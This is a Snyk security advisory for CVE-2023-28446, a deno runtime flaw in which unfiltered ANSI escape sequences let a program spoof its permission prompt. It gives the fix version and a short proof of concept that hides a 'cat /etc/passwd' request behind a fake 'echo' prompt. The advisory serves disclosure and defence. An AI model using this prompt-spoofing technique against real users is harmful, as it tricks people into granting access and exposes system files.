Remote Code Execution (RCE) Affecting deno package, versions >=1.8.0 <1.31.2
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.21% (60th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-RUST-DENO-3373052
- published 26 Mar 2023
- disclosed 24 Mar 2023
- credit LeoDog896
Introduced: 24 Mar 2023
CVE-2023-28446 Open this link in a new tabHow to fix?
Upgrade deno
to version 1.31.2 or higher.
Overview
deno is an a simple, modern and secure runtime for JavaScript and TypeScript that uses V8 and is built in Rust.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to improper ANSI neutralization. Arbitrary program names without any ANSI filtering allows any malicious program to clear the first 2 lines of a op_spawn_child
or op_kill
prompt and replace it with any desired text.
PoC
const boldANSI = "\u001b[1m" // bold
const unboldANSI = "\u001b[22m" // unbold
const prompt = `┌ ⚠️ ${boldANSI}Deno requests run access to "echo"${unboldANSI}
├ Requested by \`Deno.Command().output()`
const moveANSIUp = "\u001b[1A" // moves to the start of the line
const clearANSI = "\u001b[2K" // clears the line
const moveANSIStart = "\u001b[1000D" // moves to the start of the line
Deno[Object.getOwnPropertySymbols(Deno)[0]].core.ops.op_spawn_child({
cmd: "cat",
args: ["/etc/passwd"],
clearEnv: false,
env: [],
stdin: "null",
stdout: "inherit",
stderr: "piped"
}, moveANSIUp + clearANSI + moveANSIStart + prompt)
References
CVSS Scores
version 3.1